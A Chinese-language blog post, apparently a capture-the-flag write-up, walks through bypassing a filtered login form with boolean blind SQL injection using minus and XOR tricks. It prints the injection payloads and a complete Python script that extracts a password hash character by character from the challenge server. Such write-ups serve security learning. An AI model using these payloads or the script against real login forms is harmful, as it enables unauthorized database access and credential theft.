博客新人,记录学习,若内容中有错误欢迎各位指正。
题目地址:http://123.206.87.240:8007/web2/
题目提示:都过滤了绝望吗?,提示 !,!=,=,+,-,^,%
用burpsuit抓包,再进行fuzz(模糊测试),用字典跑看usename的参数过滤了哪些关键词,其中数值为367的为没有被过滤的,数值为370的是被过滤的。
然后就一直被卡在这里,没发现报错,也不知道怎么闭合,在网上看看看wp,有几种解题方式,自认为写的较为合理的为一叶飘零师傅的方法。
关键sql语句:select * from users where name=0 ,会输出所有语句。
减号没有被过滤,于是想到利用减号闭合,
在运算的时候,字符串‘admin’转换成0
admin'-1-' 等于-1
admin'-0-' 等于0
admin'-0-'的时候为显示password error,说明条件为真,admin'-1-'时候为username error,为false,猜测后台构造为:
$sql = select * from users where username=$username;当传入admin'-0-'时sql语句为:select * from users where username=0,正常查询返回所有值。
当传入admin'-1-'时SQL语句为select * from users where username=-1,报错
构造SQL语句:
取字段中的值进行查询
mid((‘passwd’)from(-1)):d 这时需要取反
查询admin中第一个字符a的ascii码
select ascii(mid(('admin')from(1))); 取ASCII码的值时此时又不需要取反了,所以到这一步可以省掉一个
REVERSE
()函数脚本编写:
从passwd字段中查询逐个查询字段值的ASCII码值判断,字段值范围缩小到了md5值的范围,i= (1.33)j in '0123456789abcdef'
passwd字段是一叶飘零师傅猜的:
payload:
admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'
若ascii(MID((passwd)from("1")))="+str(ord(0))+"成立为‘真’转换成为数字型1,反之为0,payload转换为admin'-1-' 和 admin'-0-' 形式
通过判断返回内容是否存在username error!!@_@"来确定条件是否为真
编写脚本如下:
#!-*-coding:utf-8-*- import requests url = "http://123.206.87.240:8007/web2/login.php" cookie = { 'PHPSESSID':'lv6m5u2466f0ja6k8l8f8kehjdq4skhn' } password = "" for i in range(1,33): for j in '0123456789abcdef': payload = "admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'" data = { 'uname': payload, 'passwd': '123' } r = requests.post(url=url,cookies=cookie,data=data) #print r.content if "username error!!@_@" in r.content: password += j print password break
运行结果:0192023a7bbd73250516f069df18b500,解md5为 admin123
创新方法,使用异或^也能做
提示中也没有过滤异或符号^,联系到刚学的异或注入方法,构造admin^1=0^1=1型式,则0^(ascii(MID(('admin')from("1")))="97") 等价于 0^1=1
payload可以改成:
0'^(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")^'
拿到密码进去后根据其实输入ls即可得到flag
其它解题的方法:dirsearch+ds_store,
flag就放在当前目录???,菜鸡打扰了!
存在文件flag-1,记事本打开即可